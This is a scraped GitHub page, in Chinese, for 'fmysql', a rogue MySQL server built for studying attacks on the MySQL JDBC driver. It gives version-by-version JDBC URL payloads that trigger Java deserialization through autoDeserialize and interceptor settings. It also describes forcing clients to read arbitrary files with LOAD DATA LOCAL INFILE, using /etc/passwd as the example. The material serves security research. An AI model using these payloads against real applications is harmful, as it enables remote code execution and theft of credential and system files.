Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

trganda/fmysql

Open more actions menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

39 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

fmysql

一个基于 netty-mysql-codec 开发的恶意 MySQL 服务器。出于学习 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf 的内容而编写。

在 JDBC URL 可控的条件下攻击 MySQL JDBC Driver。

反序列化

Poc 代码位于 test/java/com/github/trganda/dser 下,使用的 Gadget 为 CommonsCollections5

ServerStatusDiffInterceptor 参数触发

8.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同,变更为 statementInterceptors

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.11 - 5.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.10 及以下的 5.1.X 版本:同上,但是需要连接后执行查询。

5.0.x

没有 ServerStatusDiffInterceptor,不可利用。

detectCustomCollations 触发:

5.1.41 - 5.1.x

不可用

5.1.29 - 5.1.40

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.19 - 5.1.28

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

5.1.x - 5.1.18

不可用

5.0.x

不可用

任意文件读取

Poc 代码位于 test/java/com/github/trganda/file 下。

MySQL 支持 load data local infile 语句读取文件发送至服务端。

load data local infile "/etc/passwd" into table foo FIELDS TERMINATED BY '\n';

通信流程如下,可以通过伪造响应内容 0xFB + 需要读取的文件路径,让客户端读取任意文件

image

About

Fake MySQL Server for Exploit Vulnerability of MySQL JDBC Driver

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

Morty Proxy This is a proxified and sanitized view of the page, visit original site.